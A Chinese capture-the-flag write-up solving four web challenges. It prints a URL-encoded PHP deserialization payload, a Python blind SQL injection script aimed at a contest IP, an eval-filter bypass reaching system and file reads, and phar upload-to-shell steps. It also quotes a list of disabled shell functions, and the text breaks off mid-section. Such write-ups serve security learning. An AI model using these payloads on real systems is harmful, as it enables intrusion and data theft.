To begin with
感觉今年国赛的题目偏难了,其实也暴露了自己很多深一点的内容并不熟悉。在一队大佬里面生存下来不容易,还是需要疯狂补习。
Justsooso
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag=&$this->token;
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
1.添加////index.php
绕过 $url = parse_url($_SERVER['REQUEST_URI']);
使得parse_str($url['query'],$query);
中query解析失败。参考n1ctf eatingcms
2.O:6:"Handle":1:{s:14:
修改Handle 后面的值为2,绕过 wakeup 的清空操作 CVE
3.$this->token_flag=&$this->token;
用引用使变量值指向同一个值绕过随机数(记得好像是原题?)。
因为含有private 变量,需要 encode 一下。
反序列化结果如下:
O%3A6%3A"Handle"%3A2%3A%7Bs%3A14%3A"%00Handle%00handle"%3BO%3A4%3A"Flag"%3A3%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3Bs%3A5%3A"token"%3BN%3Bs%3A10%3A"token_flag"%3BR%3A4%3B%7D%7D
最终结果如下:
http://294d9bd0db16477e96225cd6b7d88fdb2b8c9372b16449b5.changame.ichunqiu.com////index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
sql
根据执行报错/执行成功但登录失败两种回显状态不同,构造注入语句,类似于布尔盲注。
#!/usr/local/bin python2.7
#coding=utf8
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf8')
burp0_url = "http://39.97.167.120:52105/"
burp0_cookies = {"PHPSESSID": "ufonfbotq70mt2f4k57m2eegm1", "__jsluid": "20d3df9b5392516291cd639840b368f3"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
order = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~']
for index in range(1,50):
for i in order:
burp0_data={"username": "' union select '"+"admin' and (select updatexml(0,unhex(((select substr(( select group_concat(`1`,`2`) from (select 1,2 union select * from user)a limit 1),{},1))='{}')^60),0))#".format(index,i), "password": "123"}
r=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
a=r.content.decode('utf-8')
if u"数据库操作失败!" not in a:
print(i)
break
使用 admin F1AG@1s-at_/fll1llag_h3r3 登录,有如下界面:
后面就是熟悉的 DDCTF 里面的 mysql 弱口令 —— Rogue-MySql-Server
flag 在 /fll1llag_h3r3
位置,直接读就好了。
唯独就是会做的时候已经不能交 flag 了 ...(还有趁早改行 py3 吧
在 https://www.zhaoj.in/read-5417.html 中给了较为简单的注入语句 username = admin’ union select cot(1 and left(database(),1)>’a’);#
,可参考。
love math
查看源码,过滤了很多内容,限制了函数的使用,也限制了输入长度为80:
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
eval('echo '.$content.';');
根据最后的 eval 猜测应该是代码执行,拼接 system 或者 readfile 等函数。但是能够使用的函数名只有数学函数。能够使用的字符如下:
['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', '!', '#', '$', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', '\\', '^', '{', '|', '}', '~']
发现了异或,考虑之前遇到了无字母 webshell,但是引号也被过滤了,需要想办法构造出字符串。
翻一遍能够使用的函数,只有 base_convert、dechex 能够返回字符串,但是后者只能返回十六进制。前者可以到36进制。
首先可以构造出来一个
$cos=base_convert;$abs=cos(9943101159,10,30);$abs();$acos=cos(658,10,30);$abs($acos)
可以看到 phpinfo 信息,发现没有什么特殊内容,只是没有禁用函数。
之后构造 system('ls')
$abs=base_convert(600949951844,10,30);$acos=base_convert(658,10,30);$abs($acos)
然而不能读文件,需要绕过 .
和 空格
, .
使用 base_convert、dechex 均很难在较短的长度下构造,但可以根据 php 复杂变量特性构造 $_GET{0}
,之后只需要构造出 _GET
即可,_GET
可以使用 base_convert 搞定,但是长度超了一点,考虑降低进制从而减小长度,把 base_convert、dechex 组合起来:
base_convert(1114322,10,36)^dechex(4369)
就可以得到_GET了。最终 payload:
http://8af6ab8b896d441ab8ef703a7c0dedca66e10e20db3f4ca3.changame.ichunqiu.com/calc.php?c=${1}=base_convert(1114322,10,36)^dechex(4369);${${1}}{0}(${${1}}{1})&0=highlight_file&1=flag.php
赛后看其他 wp 的想起来 $$ 用法,测试了下,还可以这样:
$_GET=array('system','ls',3);
$pi='_GET';
$$pi{0}($$pi{1});
//var_dump($$pi{0}($$pi{1}));
那么,用上面的异或拿到 _GET
也行,还可以构造出来一个 hex2bin
函数,还原出 _GET
,但是需要额外从10转到16。
RefSpace
收集信息:根目录下 robots.txt、backup.zip、flag.txt
然后文件包含读源码
- index.php
<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
header("location: ?route=app/index");
exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag
- app/index.php
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
?>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
Hi CTFer,<br />
这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
Powered by Aoisystem<br />
<!-- error_reporting(E_ALL); -->
</body>
</html>
- app/flag.php
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
?>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
Hi CTFer,<br />
这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
Powered by Aoisystem<br />
<!-- error_reporting(E_ALL); -->
</body>
</html>
- app/Up10aD.php
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
default:
echo "Only gif/jpg allowed";
exit();
}
$dst = "upload/" . $_FILES["file"]["name"] . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
echo "文件保存位置: {$dst}<br />";
}
?>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
我们不能让选手轻而易举的搜索到上传接口。<br />
即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
<form method="post" enctype="multipart/form-data">
<label for="file">来选择你的文件吧:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
上传 phar getshell
route=phar://upload/index.gif.gif/index
拿到 phpinfo,发现还有 sdk.php
<?php ?><?php //CN: 这是一个使用商业代码保护工具加密的PHP文件,你并不需要解密它。EN: Advanced encrypted PHP File, You do not need to decrypt it.<?php
return sg_load('A99ED844A249E2CBAAQAAAAXAAAABGgAAACABAAAAAAAAAD/NITKImzCGI1VR9EIK9uHVUsgvUtMu+SENdmCS1ehX392cUgf5knUyGDxCMj325X7iibxp53EThwzrN/ra9pQEbnXqWWG47SMgMgHSk554rg4E2sxNtl859bWR1SmD7rN2VsgRFl8TTsHAAAAaBAAABfUjHZ7qKwZz4WpMv67AmIzcNoHPMwtJpzi5QgwafCHBbDTvg9VK0uFZGSaIiJ8fTw0lIysz/pdGfajfJZVuS8v4mbmeEulHwIvUqwxHbrxgyu7chgH4h8DGTsolnBj/060yIs5jE49hrcLOLGwYy4BXgsYxuD……');
禁用的函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,passthru,exec,system,shell_exec,proc_open,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,putenv
以及 backup.zip 中的信息:
我们的SDK通过如下SHA1算法验证key是否正确:
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
return false;
}
如果正确的话,我们的SDK会返回flag。
PS: 为了节省各位大佬的时间,特注明
1.此处函数return值并不是真正的flag,和真正的flag没有关系。
2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走
引用两种方法:
解密 flag
https://xz.aliyun.com/t/4906#toc-10
通过命名空间,定义一个同名函数,利用反射类调用私有方法: